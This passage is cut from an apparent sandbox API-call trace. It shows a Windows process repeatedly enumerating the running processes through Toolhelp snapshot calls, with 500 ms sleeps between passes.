szExeFile="lsm.exe")) returned 1 [0220.325] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.326] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.327] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.328] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.329] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.330] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0220.331] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.332] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.333] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0220.334] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.335] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0220.335] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0220.336] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0220.337] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0220.338] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0220.339] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0220.340] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0220.341] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0220.342] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0220.343] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0220.344] CloseHandle (hObject=0x1d4) returned 1 [0220.344] Sleep (dwMilliseconds=0x1f4) [0221.072] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c8 [0221.077] Process32FirstW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.078] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0221.079] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0221.082] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.083] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0221.084] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.085] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0221.086] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0221.087] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0221.088] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0221.089] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.090] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.091] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.091] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.092] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.093] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0221.094] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.095] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.097] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0221.098] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.099] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0221.100] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0221.101] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0221.102] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0221.103] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0221.104] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0221.105] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0221.105] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0221.106] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0221.107] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0221.108] CloseHandle (hObject=0x1c8) returned 1 [0221.108] Sleep (dwMilliseconds=0x1f4) [0221.985] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d8 [0221.994] Process32FirstW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.995] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0221.996] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0221.997] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.998] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0221.999] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.000] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0222.001] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0222.002] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0222.003] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0222.004] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.005] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.006] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.006] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.007] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.008] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0222.009] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.010] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.011] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0222.012] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.013] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0222.014] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0222.015] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0222.017] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0222.018] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0222.019] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0222.019] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0222.020] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0222.021] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0222.022] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0222.023] CloseHandle (hObject=0x1d8) returned 1 [0222.023] Sleep (dwMilliseconds=0x1f4) [0222.676] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0222.680] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.681] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, 